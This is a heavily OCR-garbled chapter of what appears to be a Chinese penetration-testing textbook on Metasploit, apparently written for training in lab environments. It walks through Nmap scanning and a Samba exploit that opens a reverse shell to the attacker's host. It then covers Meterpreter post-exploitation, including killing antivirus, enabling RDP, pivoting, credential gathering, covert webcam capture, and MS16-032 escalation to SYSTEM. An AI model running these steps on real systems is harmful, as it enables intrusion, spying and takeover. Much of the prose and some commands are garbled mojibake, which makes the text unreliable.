% Nusefir 2 B A] i B Z TR A B, {# Fshow optionstn & B & 77 Z X E S
#, wEs-3FR-.

ixitia

E5-3 {ERHENIRR

fERequireds |, AR AyestI S EL A& SLIrHIE, HHRHOSTS R E R
FIPHubE . PORTS ¥ B #iu NVEHE . THREADSXK BHAfLRE, KEHEMS,
AMKEE ML . BAVEMsetdy & W EMMKI S, T PLE Hunsetar & HUHEA
SHENRE, WES-4FR.

.168.172.149

72 : OPEN
.172.149:135 - T EN
149:445 - TCP OPEN

E5-4 BESY
ALAER], HARIESTF 7139, 135, 445=" i,

IR = KSR A P& AT ik a2 ——setg@n 2 Flunsetgfin 2 . — 3 F T fEmsfconsole
PR BEERE D RESRENSEUE, Mk E 2 A ME .
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532 fEAMEERETRS AR

S BAsLEE LIS T RS I, B 2 AT IR M mBoR T ik £, il
VNC. FTP. SMBZ§, R @EHATH:E LRI LUK IS -

J8 T searchfiy 214 Zscanner F] LUK I K & BB, BUGEE 2 A R R4
Byfafasisk, TEHME. SRRSO R AR, X E
ANFEAR T, W E—% AR ERER, WRs-1xR.
=5-1 ERAMEREETEE

'R I BE
auxiliary/scanner/portscan D ERE
auxiliary/scanner/smb/smb_version SMB R4t
auxiliary/scanner/smb/smb_enumusers SMB # 2
auxiliary/scanner/smb/smb_login SMB 55 [ 44 #
auxiliary/admin/smb/psexec_command SMB &k HPrdn 4
auxiliary/scanner/ssh/ssh login SSH & i
scanner/mssql/mssql_ping MSSQL FEHUE %
admin/mssql/mssql_enum MSSQL # 2%
admin/mssql/mssql_exec MSSQL #4774
admin/mssql/mssql_sql MSSQL 2]
scanner/mssql/mssql_login MSSQL §§ &A%
auxiliary/admin/mysqgl/mysql_enum MySQL #2¢
auxiliary/admin/mysql/mysql_sql MySQL i ajHiT
auxiliary/scanner/mysql/mysql login MySQL §5 H 44
auxiliary/scanner/smtp/smtp_version SMTP JRAFHi
auxiliary/scanner/smtp/smtp_enum SMTP #iz¢
auxiliary/scanner/snmp/community SNMP ##Hi 1 %
auxiliary/scanner/telnet/telnet_login TELNET &3
scanner/vnc/vnc none auth VNC %5 (4

5.3.3 £ Nmap 34

7EMetasploit ! [F] £ 7] LA{# FI Nmap$#i, NmapfJFVETEE 3R DL FEH T,
BT LA SR 5 B AR 2 B EALRIAAEIRES, 10 H AT AR S #EE R
G\ FFH O ARSS 55 o BAGR IR Nmap (1) FVE AT AR OR #$2 = N NS B IR R
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SEBRfd I, Emsfir 3R FF N Anmap, 5t 7] DL 7R Nmap @ 453 1% 1

B

[PA

[E5-5

W E5-50 7R

D.erg )
ions] {target specification}

orks, etc.
microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
t from list of hosts/ne

mﬂlr <
/PU/PY[portlist]: TCP SYN/ACK ) RS i jery to given ports

Nmap&#

PIERRATE IR B AR EHLIERAE RS, % Anmap -O -Pn/-p0 URIfr<, HAPn
F-p0 (Fr70) S = B RAME Hping 75 2, 1 BARE A VLR G ERIESIH,
A LABEIE R KRR, T DA St B ks B, A S-6FTR

-0 -Pn 192.168.

: nmap -0 -Pn 192.

Starting Nmap 7.48 ( https://nmap.org ) at 2017-05-29 23:12 EDT

Nmap scan

report for 192.168.31.250

Host is up (0.00850s latency).

3389/tcp
49152/tcp
49153/tcp
49154/tcp
49156/ tcp
49157/tcp
49158/tcp
49159/tcp

: 981 closed ports

STATE SERVICE

open domain

open kerberos-sec
open msrpc

open netbios-ssn
open ldap

open microsoft-ds
open

open

open

open globalcatLDAP
open 1catLDAPss1
open

open

open unknown

open unknown

open

open

MAC Address: 080:0C :7E:A3 (VMware)

[E5-6

purpose
¥indows 2012|7|8.1

: W 2612:r2 cpe:/o:microsof 1timate cpe:/o:microsof indows 8.1
: Microsoft Hxn ows Server 2012 R2 Update 1, Microsoft .1ndows 7 dindows Server 2012, or W #s 8.1 Update 1
Network Distance: 1 hop

RB3
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Al LLE 2 H br EVLEIERAE R SG2 Windows 2012(7|8.1,
5.4 JmiEF

FNRE RGBS AAEEFIBug, 1% WindowsiXFEA A IEIER R, IR AF
S P IR A X X e Bug BURIFM AN T, JFAH P IRIEES . 2R A RERRRA
AN RSB CAGE H bR I B 7R 1 Bug, XA AMA T FBugit /2 FTil 10day
W o BT IX PR IR N W 2% 22 4 B B KB, BN 0day it sy B s % o 5K
br b R E 4R 0day i R E D2 Db

TR A B 2RI Bug € SR AAN T, (ERE FEEHNRRTHAE &.
ZEBIHEFIAN AR P EE PN E 22X S TR, FalRENATH, N
T RABIRS ST T FELEL, BRITHNT I 20 LA 0 E 5 BN, Xt
AFNLGTEERBISOEN T B S TIEE, (HRRITANT 2k T B #AE Rt
BEMmME 2 —MURK “RE”.

R % B Rl Z&Metasploitable2, X LinuxA/L 2% 7721 B . Metasploitable2
REL R G — AR A E B Ubuntutf/E REE, F B T %24 TR RS 7R % LAY
RiAK S . ZEMALIKRA VMware. VirtualBox 1 HAB BT 4, BARFRE—4
W 4% 3& I 2% 5 B JF J3 NAT 1 Host-Only . 1% 1. H 7] DL 7E W 3 http://sourceforge.net/
projects/metasploitable/files/Metasploitable2 %K

B e Linux HARLEEAT 266, WCRATARSEE . EANmap I EE RS
THC AR IS AR, A 5-7 s
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ast > nmap -sV 192.168.172.134
[*] exec: nmap -sV 192.168.172.134

Starting Nmap 6.47 { http://nmap.org ) at 2016-12-13 03:26 EST
Nmap scan report for 192.168.172.134

Host is up (€.0GG0GB2s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian Bubuntul (protocol 2.8)
23/tcp  open telnet Linux telnetd

25/tep  open  smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

86/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100860)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp opaen exec netkit-rsh rexecd

513/tcp open login?

514/tcp open tcpwrapped

1699/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open shell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #1066003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.6.51a-3ubuntus

5432/tcp open postgresql PostgreSQL DB 8.3.8 - 8.3.7
5960/tcp open vnc VNC (protocol 3.3)

6000/tcp open X1l (access denied)

6667/tcp open irc Unreal ircd

80669/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8186/tcp open http Apache Tomcat/Coyote JSP engine 1.1

E5-7 ARMAMRAIIHE

WER B irHIA R B G, NHEERIEH K Exploitfl &% fPayload. M IAHi4E
R R I FEHIZ 173 Samba 3 xRk 55

Sambas2 7E Linux FIUNIX £ 4t _F SEHISMB (Server Messages Block, 15 B IR Z5HL)
I — R A . SMBs2 —MTE R M IS METENHLIIBE W, E1E
JR 38 48 FH Linux F Windows 2 4t L8 2 B B4 SO B AT EpHLEE BE IR A L = AR 55

1 Amsf > search sambafi 2% 2 Samba [T A H R ER, g4 1E IR IRF] H
BEER, nE5-8Fim o

msf > search samba
[!] Database not connected or cache not built, using slow search

Hatc ing Modules

Name Disclosure Date Rank Description
auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_addprivs_heap normal Samba 1sa_io_privilege_set Heap Overfl
ow
auxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
auxiliary/dos/samba/read_nttrans_ea list normal Sanba read, ntt rans_ea list Integer Ove
rflow
auxiliary/scanner/rsync/modules_list normal Rsync Unauthenticated List Command
exploit/freebsd/samba/t rans2open 2003-04-07 great Samba trans2open Overflow (*BSD x86)
exploit/linux/samba/chain_reply 2010-06-16 good Samba chain_reply Memory Corruption (L
inux x86)
| exploit/linux/samba/1sa_transnames_heap 2067-65-14 good Samba lsa_io_trans_names Heap Overflow
exploit/linux/samba/setinfopoh.cy heap 2012-04-10 normal Samba SetInformationPolicy AuditEvents
Info Heap Overflow
exploit/linux/samba/t rans2open 2003-04-07 great Samba trans2open Overflow (Linux x86)
| exploit/multi/samba/nttrans 2003-64-07 average Samba 2.2.2 - 2.2.6 nttrans Buffer Ove
(rflow
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Ex

E5-8 1#¥F&SambakiimiEFI AR
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R J5 Samba il 55K [ml e 1A R AR F103%, 4% BB &N TR 4R P R 2 P A X i
5 FE AT HER o

[A Hexploit/multi/samba/usermap_scripti#é #ric A “Excellent”, R E 7 H 1 ELE 8]

B, AREEERIIFE, XEEFIEITER T RIEE.

A RIFIR B VELR(E B AT LosE s i B 59 R K i & B

msf > info exploit/multi/samba/usermap_script

Name: Samba “"username map script” Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
jduck <jduck@metasploit.com>

Available targets:
Id Name

0 Automatxc

Basic options:
Name Current Setting Required Description

RHOST yes The target address
RPORT 139 yes The target port

Payload information:
Space: 1024

E5-9 EFBREERER
B N LA i BRI A P 22 0 R R AR

Msf> use exploit/multi/samba/usermap_script

SR J5 1] LU E|Metasploitfn 2578 fFmsf >22 4% Fiimsf exploit(usermap_script)>.

1 F 2 P S-10 T 7~ () i 4 BV AT 25 7 12 R TR PR AR B R R (ke 38 ) JBC e 3R A A
ljJEﬁELmuxm%% Al — € Bk B Linux i B 317

) > show payloads

Disclosure Date Ra Description

1, Bind TCP (
1, Bind TCP

g n :
i netcat gaping ipvée I * L Shell, ano TCP (v
cmd/unix/bind perl [ ell, Bind TCP (viz
cmﬂ/umr/lnnd perl ipvo L d S L, Bind TCP
/ S Bind TCP (v
Bind TCP (via
¢ Bmli ICP {vi

E5-10 ZFI=EHETE
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X B R a0 I 5- 11 s ) i 2 e B 2 A Y emd/unix/reverse [ 7] BUeh # far A e

msf exploit{usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse

E5-11 RERHHERR
BEEPIGE EHUPHL, 2T R,

msf exploit(usermap_script)> set RHOST 192.168.172.134

BEIFRA KGOS, a2 R,

msf exploit(usermap_script)> set RPORT 445

BB KB EHIPHIYE, 4w FETR.

msf exploit(usermap_script)> set LHOST 192.168.172.136

BE A LME AW ES- 120 K ar & B ASHRE T B R B IER, .

msf exploit(usermap p1) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description

RHOST 192.168.172.134 yes The target address

RPORT 445 yes The target port
Payload options (cmd/unix/reverse):

Name Current Setting Required Description

LHOST 192.168.172.136 yes The listen address
LPORT 4444 yes The listen port

E5-12 BREEESH
RETMESHTER, MAXTE i Sexploitdirun, I FAR, KENLk.

msf exploit(usermap_script)> exploit

MSF & 3 i B Ja 2 3K B AR EHLIIShell, A T K ZShell/& H br EHLH,
ATLVEWENA. AP &AIPHE, 5 BARENBTEE, mE5-1357R.
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msf exploit(u=crma ) > exploit

Started reverse double handler

| Accepted the first client connection...
Accepted the second client connection...
Command: echo ahGYyaxk fNjPXSA4;

| Writing to socket A
Writing to socket B
Reading from sockets...

| Reading from socket A

| A: "ahG9yaxk fNjPXSA4\r\n"

| "] Matching...

| B is input...

Command shell session 1 opened (192.168.172.136:4444 -> 192.168.172.134:56962) at 2016-12-13 05:47:18 -0560

hostname
metasploitable

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 16 13:58:00 UTC 2008 i686 GNU/Linux

ifconfig
etho Link encap:Ethernet Hwaddr 00:0c:29:fa:dd:2a
inet addr:192.168.172.134 Bcast:192.168.172.255 Mask:255.255.255.0
inet6 addr: feB80::20c:29ff:fefa:dd2a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:3588 errors:0 dropped:0 overruns:@ frame:@
TX packets:3245 errors:0 dropped:0 overruns:0 carrier:@
collisions:@ txqueuelen:1660
RX bytes:273631 (266.6 KB) TX bytes:404892 (395.4 KB)
Interrupt:19 Base address:0x2600

E5-13 KEEREN

Wik I G, W LLEBIEBE LA B ARl 18 & 8 5L — A SheliE £, BiE
Windows £ 4t (I FE AL, P — P 22 31 A2 35 8 1 Y ) ) PR A R RN B0 e R AR AR A — B
B 2 2 & FExploitflPayload 20 &, DLINTRERME.

BEf 7% Samballk 55 IR & 4= (E Sambalit 4<3.0.20~3.0.25rc3 9, 414 FHIEERIA
P 2B AR B i, 8idts e — N P 4R Shell Tt 747, Bl vl AIATIE
=4 K Samba 2k B 5 H A< B AT B 48 A< I o

EBEWE: FRIE

FR IR H AR AR B 1205 f5 18 7] A4 7 Metasploitd@ ff | — AN E 58 K
G L H——Meterpreter, 2 LEREFLZEIRE, FEENEENRER/ERS.
SRELH bt IMeterpreter Shell)F, Bt T Metasploitf A % 5 1S EFI M B,
JE B IEREE 2002 />, Meterpreterfy L R H .

o AINTE LR, ARENSHEIITERSANEE.

o fERIINZE@EEVML T HETAER 5 AMEEREE.

o FEWHGEHFEN TAE, ATECIEBHISE.
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o GTHEZHEZNITE.
P&, & T Windows. Linux. BSD&EZ, It £ Intel x86F1Intel x64

SJZ £

=1 o

A A B U0 R Meterpreterfift 4 J5 1235 RO #E & TA/E R R &R E B M

5.5.1 #EIEH
ERIFKfF Meterpreter Shellif, % Shell/ 2R AEIIM 5 ZBdi ), B anBdi# 7

DA FH 0 52 25 I T 0B AR L3S B ICEIE i S 88 AT RE R A 7 56 B T BASR

— OB RER X Shell, T BFHLF—MEE SR EE R, MARE
KA AT AT 5 N RAE o XS A I 5

i A\ pstin & KB FRHLIEEBAT R, IniEIS-14F77R

PS

WIN-57TI48561MT

E5-14 REREFRILEEZITHIEE
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>

il A\ getpidfin 2 £ & Meterpreter Shell {iEFE S, t&S-1507x.
meterpreter > getpid

S5
=
=

Current pid: 984
E5-15 ZEFHES

"] LAE #|Meterpreter Shell#EF2¥PID 4984, Name#y138.exe, %A /5% Amigrate
4487y A Shell# 3l 2| PID A448 ] Explorer.exe#F F2 B, R iZIHEFE R — AN A BN .

FERFET G, PRGN A getpid i 4 £ & Meterpreter ShellJHEFE S, KILPID

CAATRL 1448, Ui L& M INiL % S Explorerexeit FE B, U&I5-16/7R.
meterpreter > migrate 448

[*] Migrating from 984 to 448...

[*] Migration completed successfully.

meterpreter > getpid

Current pid: 448

E5-16 #HETH

BRI G, JRSEPIDNISARIHFES ok, WnREE HBh A LA
Akill 98474 “i” %R, A HNERHEFEH4S (run post/windows/manage/
migrate) f5, RAZHINTFRAEWHERETE, WES-17F7R.

meterpreter > run post/windows/manage/migrate

[*] Running module against WIN-57TJ4BS61MT

[*] Current server process: 138.exe (1808)

[*] Spawning notepad.exe process to migrate to
[+] Migrating to 308

[+] Successfully migrated to process 308

E5-17 BaHTi#HigTH
WES-17f728, R4 04 B30 E RPID A 1808 {3 FEIE#£ 21308 .
552 BR&EHS

P TREMNHES, BT RNERGER.
St Asysinforin 2 & H HALN RGiE S, Bl RGEAERLEH, WE5-18
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IR o

meterpreter > sysinfo

Computer : WIN-57TJ4B561MT

0S : Windows 7 (Build 7601,
Architecture (

System Language :

Domain s
Logged On Users :
Meterpreter

1 \run post/windows/gather/checkvm 248 £ H Fril & Hig T 7E L L, &
5'19Fﬁ7—ﬁo

meterpreter > run post/windows/gather/checkvm

Checking if WIN-57TJ4B561MT is a Virtual Machine
This is a VMware Virtual Machine

E5-19 TEEE AL

A LA 32477 H FpLEIBITE— A VMware BB L.

IEER T B ARV E B IETEIELT, i Aidletimefir 2 )5 7] LLE B B bR AL 32847
mE, A E5-20F17m .

idletime

n idle for: 29 mins

El5-20 #EE(TAHE
AT LAE B HARHLIEEBIT, T HBBIT 729081670,
B Aroutefr 2 B E HARHL 2 B A MG E, WES-21F7,
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meterpreter > route

127.
127505
127.2
182
192.
192
224.
224.
255 :
2552551250 255 - 255,

Ly u
N OWWANDOOOW

NNOONNNNNOO

;o

unmnoountuinunuoo

No IPv6 routes were found.
E5-21 ZETEMEKLE

Btk 4b, AT LU Abackground iy &K Ml &G EE &, k@A EEESZ D
Meterpreters> i (375 T . 7T A A getuidin & B & 270 HAxHlas LE&BE
BRI P 4, WnElS-22f7R.

meterpreter > getuid
Server username: WIN-57TJ4BS561MT\Administrator

E5-22 EEHEYFINR
35 %1 Arun post/windows/manage/killav iy 4 ¢ ] H Aabl R Zi A2 A4, 4n&]5-23

windows/manage/killav

No target processes were found.
meterpreter >

El5-23 XHARFRHE

##1 \run post/windows/manage/enable rdp#i4>J&i 2 B AR AL RE R W, At
R VLAI33893 1, WEIS-24 7R .
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meterpreter > run post/windows/manage/enable_rdp

Enabling Remote Desktop
RDP is already enabled
Setting Terminal Se ces service startup mode

Terminal Services service is already set to auto
Opening port in local firewall if nec ary
For cleanup execute Meterpreter resource file: /root/.msf4/loot/201703041600
32_default_192.168.172.149_host.windows.cle_634781.txt

E5-24 BEzniEKRE
HUEER, HMNCLMIHED) TR Rm.

SR J5 %t A run post/windows/manage/autoroutefir 22 & H ArHL A H - WS 5L, 40
El5-25FT7R

meterpreter > run post/windows/manage/autoroute

Running module against WIN-57TJ4BS61MT
L Searching for subnets to autoroute.
[+] Route added to subnet 192.168.172.0/255.255.255.0 from host's routing table.
meterpreter > |

E5-25 BEMKEN

PR BATERS:,  Jofii Abackground fy 4% 2 i Meterpreter & i (B E G &, ARG
fai Aroute add iy 2 VS N B, W INELEN G 5 Aroute printfiy & & F, BEAKIR/EINES-26
Fi7R e

meterpreter > background
| Backgrounding session 1...
exploit( ) route add 192.168.172.0 255.255.255.0 1
| Route already ex S

192.168.172.0 255, 255.255.0 Session 1

[El5-26 RMEEHHA

A LAE B — 2k HihE2192.168.172.0 19 % H 248 7 In ) S350 B ML R = 4,
IR JE AT DA B e 1 S AT A X 48 3 AT B T .

A& i Arun post/windows/gather/enum_logged on_users#ir 4> ¥l 2% 24 §i 4 £ /b A
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FEFT BEEPL E5-27FR.

preter > run post ws/gather/enum_logged_on_users

{*] Running

719329569-500 WIN-57TJ4B561MT YAdministrator

t~192.168.172.149Ahost,users.aitiv_369325.fmt

9454373-2854571226-1719329569-1001
54373-2854571226-1719329569-1002
9454373-2854571226-1719329569-500

E5-27 FIEHEIERKAA

A BLF 3 & 4 A shuteer. test. Administrator =/ /7, 1 H Administrator H i &
X1 RS

BT 2 )5, 46855 Arun post/windows/gather/enum_applicationsfiy & 71| & %2
BLE HARHL B R HRRR, WKl 5-28F R .
meterpreter > run post/windows/gather/enun_applications
*] Enumerating applications installed on WIN-57TJ4BS61HT

Applications

Name

ual C++ 2008 Redistributable - x86 9.0.30729.4148 9.0.30729.4148
10.0.10.4301679

E5-28 FIENAIERF

RZH PSS ENE B NES SR, FHXA a4 0] DR E 3) & %1 H
JUAZ RN, anES5-29F R .

meterpreter > run windows/gather/credentials/windows_autologin

*1 Running inst WIN-57TJ4B561MT on session 1
1 The Host WIN-57TJ4BS61MT is not configured to have Autologon password

E5-29 MEEHERHAARBFED
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ATLLER], SaraAIMBEEFEE. th st E A2 R Espia, (FHRTE
Jefii Nload espiafiy & M ZAEM:, SR )5 A\ screengrabfir 2 5t 7T LAY I B FRHLE)
B, ESs-308T7R.

screengrab
1 to: /root/ojJUEbg

WARNING **: The g error: gtk-widgets-backgrounds
se :disabled instead.

01): Gtk-WARNING **: Theme parsing error: gtk-widgets-backgrounds.css:1
ated. Use :disabled instead.

E5-30 {UMEHIEFREE (1

PRI JE A2 i T — A48 NojJUEbgq I B F, R #EEroot H F# F . X BE#A
screenshot iy 2 tH ] LA B FE R 2GR, tnE5-31 R,

meterpreter > screenshot
Screenshot saved to: /root/LJLGGEjx. jpeg

E5-31 MEMEHIHRSEEE (2)

NENE N F IR G A, BE BARNE EH %Sk 64 Awebcam list, 10
K5-32F 71 o

meterpreter > webcam list

1: Lenovo EasyCamera

El5-32 EFBFIETEREE

i Awebcam_snapfiy 24T H bsbLIR& L, H—5KEH, WES5-330xR.
meterpreter > webcam snap
[*] Starting...
[+] Got frame

[*] Stopped
Webcam shot saved to: /root/EfintZMs.jpeg
meterpreter >

E5-33 #MEURIGKHRE
AT JE T AR BB S R R R fEroot H S, BRAVITHFES, WEs-3457

No



AR gl i s 2] AR

%5% Metasploitix K <« 207

EfintZMs.jpeg

E5-34 ZEIMEMRBAE
i1 A\webcam_streamiy & 2 1 7] DAFF 5 E%ﬁ_ﬁ WE5-357 7

meterpreter > webcam stream
Starting...

Preparing player...
Opening player at: KzIDymVy.html
Streaming. ..

[E5-35 #MER#LLR
FAD 53R4T I LT 45 sk, & 5-367s .

Metasploit webcam_stream - 192.168.1.179 - Mozilla Firefox

j Met.asploit webcam_stre... % iR

& O fie/ihoot/KziDymVy.html ¢ |[Q search B O

@Mostwsitedv lilOffenswe Secunty ~U(ali Lmux \Kah Docs ’\Kau Tools [!Exploit-DB ‘Alr(

Target IP : 192.168.1.179
Start time : 2017-05-18 08:06:16 -0400
Status : Playing

El5-36 EEMBHIMIT
AT LA Ashell#in 237N H #adlShell F 1, WE5-37fF7.

at 1ongeeeeeeeeat o664

E5-37 #HAB#R#HLShell
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B J5 # N\ exitfir 1% 1EMeterpreter &1, WE5-38FT 7~ 1% 238 7] FH 4% 1 Shell
2 1E IR [F|Meterpreter .

E5-38 iRi:iShell

553 XHRZGS

Meterpretertt 3T FE&-F0 S RS A4, HI TR PTEMES, BlInER
SO FEOCH R B 35, AXRUTRIE LR . W RS R Gt & A
TER T Fs.

e pwdEgetwd: EFHAFTLAT BARHLAEA B3, WES-39F7R.

meterpreter

E5-39 ZERBRIMSERER
o getlwd: EEHEARTAT AWM B, WES-405T7R.

srpreter > getlwd

/[ root
meterpreter >

E5-40 ZRAMLAER
o ls: FUHZETEXFHRFTAE XM, WES-415TR.
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102634 2-03 :09: +0800
3648480 2017-02-07 17:16:40 +0800
100666/t 282 2017-02-04 11:12:27 +0800
40777/ rw 0 2017-02-07 16:26: +0800

E5-42 Y#HEZ
o search-f*.txt-dc:\: AJDMERCEFIALL “.axt” AT RAKI XM, HAp-f

SHA TR EHEXHEN, dSHATHREEBRNER FHEITEZR, W
K5-43 17~

as\

El5-43 #RIEERBHH

e download c:\test.txt/root: &% HARHLCHEE [test.txt CAFE| B i Hlroot T, 40
5-44Ffi7m

E5-44 TEXH

e upload /root/test.txt c:\: _EAEH T Hlroot H 3% T [test.txt 3 E| B ARHLCHE T,
P S5-45HT7R
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r > upload /root/test.txt c:\
: /root/test.txt -> c:\
: [froot/test.txt ->

E5-45 L&

A LR S ERCHLPER BArbl, FTRRBEZ R FERILKGEE.
Meterpreteri® B &R 2 XRG4, BVGEHE Z ik,

5.6 FEEBEITG. PIRET

W, RATEBELREPIRE R FE T —A R M GuestBUserB fR . K1
PR B A IRAVZBR 2 BRI, 7E SE i [A13205 BUE B R R e . 78
FH EMRREEE AR, HITEH TR Hash, L3 AE B K% F0 An
1B B0 MRS & FhERAE, BT L2508 U A BLR M Guseti2 7+ 2| User, 7 £ Administrator,
% J5 ESystemZ% 5
BIENRA H R RIUR S 2% 0 s AU R, B Windows#/E R Gt & 2 51 K 510
BUPR, BRLinux#fE R4 Hrootlk /- BIAUR . $2ARUR K77 5> L F B2
o YA RAURAERBEAIR AR, i, —4WebShellBLR
RN FHA TEEROBR, BAXFRBUR RN R, HRIE
PR T2

o BAMEM: REURAHINAARBR. fl, Bl ofBimREARR T &
GBIIAR, A2 XFREEAHE T 5 3R AL

Fir UATE R Zh3REX H #RtlMeterpreter Shellfs, ATEIBEIMECKERIE TH AR
PR

fEMeterpreter Shell i Ashellfir 23\ H ARHLICMD A 247, WES5-46 7R o

c:\\test,txt

6.1.7601]

orporationggeeeedeeoteeey

C:\Users\shuteer\Desktop>

E5-46 HACMDA£1T
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e i A\ whoami/groupsfin 2 T & FA LA AR, WES5-47F7R .

C:\Users\shuteer\Desktop>whoani Zgroups

BUILT IN\A(‘!‘\ inistrators

Y\NTLM Authentication

2 1\Medium Mandatory Level H7%

E5-47 ZHEHAEIMNIR

ME5-47HATLLE S|, 2450 AR /&Mandatory Label\Medium Mandatory Level,
WA TR—/MrdER P, AT ER AP AR RHER PR 2B R, Bl
7&Mandatory Label\High Mandatory Level.

T FRAT TR A b R R AR m AR, AR B BT — IR, RE
i B B IR U Exploit, 2 M User2H 8% HoAth R 4t H 7 4 42 H 2| AdministratorZH

(Hroot) .

B IR G ENR TR K, KETHFEREE, BEHAKRSRERK. W
HHENEMTEGFX, BFNEFXKERFRWRETN, mERBAMAR
BIEEE TINEEXMKE, BAXMEFRSE .

5.6.1 FH WMIC £ MS16-032 A b H imiE

B A FRATIE L — R A BENRTE 2] T B i1 28 Meterpreter Shell.
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H M A\ getuidfin 2 B E AR FIBR, 7T LG B PLE FIBRIRK, R testBLFR .
SR N getsystem iy SHRAL, SRR, a1 ES5-48F 7R .

¢ Access is denied. The following was attempted:

E5-48 #iAgetsystema SR

BEEFERENCITA T, F5MTEREBRILKCMDAR 41T THA
systeminfofir 4, B WL &) C:\windows\ELE FHIAN T 5 “log” BE HIFH AHE
ITTURLANT, WPE5-49F77 o

VIN 4BS61MT
oft Windo
k 1 Build 7661

Stepping 3 Genuinelntel ~34088 Mhe

E5-49 EFHT S

T ULE B HARHLR 246 T2AMEAMET o« X LR I WMICHT 4 51 th 2 2235 il %h
T, nEs-50fR
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Lp://support . nicrosoft.comn/?kbic

http://support.microsoft.con/?kbid=9

[E5-50 FUHAT

FEFERT LA B HARHLR AT 72040 T, BRI L H i 45 SRR A Re bl B 3
B, AT ERIBRMEXP, REH ARG CERENIT 55 5RMNFEXP
Y ST, HANKiTrap0D (KB979682) MS11-011 (KB2393802), MS11-080
(KB2592799), #RJEMEH KA ST WEXPHATIE . FABRBMIAREAITHT, B
PAFRATTAT M IR 2 EXPREEAL, 31X B3t F SR IMS16-032 R 2R I— AL, 5 7 i 4
5 /2KB3139914.

FH IR B RS BT A= w0 US40 R ARk

o LZhfER, HBugTrage— /M A RIRIFAMExploitf#E IR, v LS CVESR
SEETNE BRI EEE R, Mik: http:/www.securityfocus.com/bid.

°  Exploit-DB, HUAR T 2 h % 4= W i milwOrm. Exploit-DB A W7 5 3 K & )
ExploitiefF Ml &, BRI RICHEZEAMEKANZA. Mik: http:/www.
exploit-db.com.

IR = : WMIC/2& Windows Management Instrumentation Command-line ] f&#5, &
AT EE TR, Rt 7T NaTEDR#G S HARIT RAE I,
AT LAY 2 Windows™ - & N i A 247 TR, [ WMIC, FRATA{ERT LS A
THENL, VB E SN KA EfE i N (FELERRR), sz
T ENA B E L ZEWMIC.

wmic.exefi. TWindows HX T, & — /M@ ATHEF . WMICH LA A AT
L HEA (Interactive mode) FIIERZX H AR, (Non-Interactive mode), 2% {# i Netsh
AT W3 B Z AR H AR IX PP

o REMN. WRFERSRRF TERET 8177 R AMAWMIC, #
KHEAWMICHIRZ EER, BLE— 102 #ITTEE, RAESREF
WMICHZRAF T, 41 “Root\eli” , 22 HAR 30l # 7E 75 Z 4T £ > WMICHE
ARHMER, ARESX — SRR RN, BIamRERE, X6
B KPR FE 7 1 R A AR AR
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o JERHMRN. JE3E BN R K WMICTH 4 B #:/E N WMIC ) 2 s
WMIC/ETH, Z$84#UT 585G R B 2 @M S IRR/ T, A2
AWMIC_E RS . WMICHTHEAS FAR 3 3 2 - fik b 2 a2 HoAh — 2
REIAS S
TEVEERE, fEWindows XPF, AR P& A REMFHWMICAH 4 /), {HZ
fEWindows 7 & i FlWindows 8 R4L T, AR /- AT LAEFHWMIC, HASF 5 SUEAT
W,

WMICTES B EM G E N R B AR w SE A, v LUARES B ARPLAERE. iR
% HF. B8, MgERE. BEERE. MELEERE, BN T. BEH,
2K BIERFEMAERAE BRI X 55,

B T oRUE&RBL, [FFE T Z S Meterpreter £ 1 # A J5 G 4T, REHE
MS16-032, 4nE5-51F17,

ms16_032

-ivesc 2016-03-21
A elg]

El5-51 {8

AR W R R A B BRI Exploit, A LA Amsfupdatedy & #E47 7+ 4%, KX
BHT I Exploithid . Wi #ia, mE Fah A SMIRIAEXP (V£ L5730,

AT LT 67 21 FIMS16-0323X AN, SRIEHE5E “session” HEATHRAUERIE, X
HIRAMIBERS “session” N “17, W& 5-52F 7~

) > use windows/local/ms16_|

E5-52 #EERSH
B J5 B4 AexploitB8runty 2B,  4n&l5-53 7w,
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gei[+] Cleaned up C:\Users\test\Desktop\FQRWKN. txt

meterpreter >

E5-53 #HITHE

FRHEIR B {5 B 0] LAE B C A B & session, FIERIBIUETY). BEEBFRZXA
Meterpreter Shell[JALfR, C4&&SYSTEMAEAR T, wE5-54f 7.

> getuid

~ username: NT AUTHORITY\SYSTEM

E5-54 ZERUR

BEH T 3% XN 2420 T 95 £KB3139914, FATT R 2238 A T st vl LA
T, WA LLE S = TR AN T AT Bzt T .

HHR A A ERAL, N L FWERER S REXTRANT 5, IRS-2F7R.

#®5-2 REWNHAT S GBS
Windows 2003

Windows 2008 Windows 2012

KB2360937|MS10-084
KB2478960/MS11-014
KB2507938|MS11-056
KB2566454|MS11-062
KB2646524|MS12-003
KB2645640/MS12-009
KB2641653|MS12-018
KB944653|MS07-067

KB952004/MS09-012 PR

KB971657|MS09-041
KB2620712|MS11-097
KB2393802/MS11-011
KB942831/MS08-005

KB3139914/MS16-032
KB3124280|MS16-016
KB3134228/MS16-014
KB3079904/MS15-097
KB3077657MS15-077
KB3045171|MS15-051
KB3000061|MS14-058
KB2829361|MS13-046
KB2850851|{MS13-053

EPATHOBIJ Oday [ 32 fif
KB2707511|MS12-042 sysret

-pid
KB2124261|KB2271195

KB3139914/MS16-032
KB3124280/MS16-016
KB3134228MS16-014
KB3079904|MS15-097
KB3077657MS15-077
